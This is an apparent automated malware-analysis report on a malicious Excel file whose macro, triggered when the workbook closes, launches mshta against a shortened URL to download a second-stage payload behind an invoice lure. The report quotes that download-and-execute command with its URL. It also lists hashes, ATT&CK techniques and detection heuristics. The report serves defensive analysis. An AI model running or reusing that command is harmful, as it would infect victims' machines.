Malicious Office (OOXML) / .XLSX — malware analysis report

Static analysis result for SHA-256 667b8ddf5ac40fb9…

MALICIOUS

Office (OOXML) / .XLSX

54.9 KB Created: 2006-10-11 04:02:12 UTC Authoring application: WPS Office 12.0000
MD5: a423d144ec2cd23a22fc179153d06fa3 SHA-1: a2118deabba0a515e954c15a70cdbb5459076e4c SHA-256: 667b8ddf5ac40fb9639136fbfae83cfc0fc0c0a0fe12923630060796d3d86a57
130 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The sample is an OOXML file containing a VBA macro that executes a LOLBin (mshta) with a URL. The macro's Workbook_BeforeClose event triggers the execution of 'mshta http://www.j.mp/ajdddsdiocsjcjosdj', indicating it downloads and executes a second-stage payload. The document body content resembles an invoice or shipping detail, supporting the lure aspect.

Heuristics 5

  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • VBA project inside OOXML medium OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Fake invoice / payment lure low SE_INVOICE_LURE
    Document contains invoice or payment language paired with an action verb — useful context when combined with link, macro, or attachment indicators
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.j.mp/ajdddsdiocsjcjosdj

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
b419b4d16ef2fa396fe6bf9065ef49d6911368533e930367276de6069eb43d08		 vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1847 bytes
vbaProject_00.bin
f4df873192f295f939f1684531a86a41a592392ed97f764353e97fb17d645a2c		 vba-project OOXML VBA project: xl/vbaProject.bin 14848 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.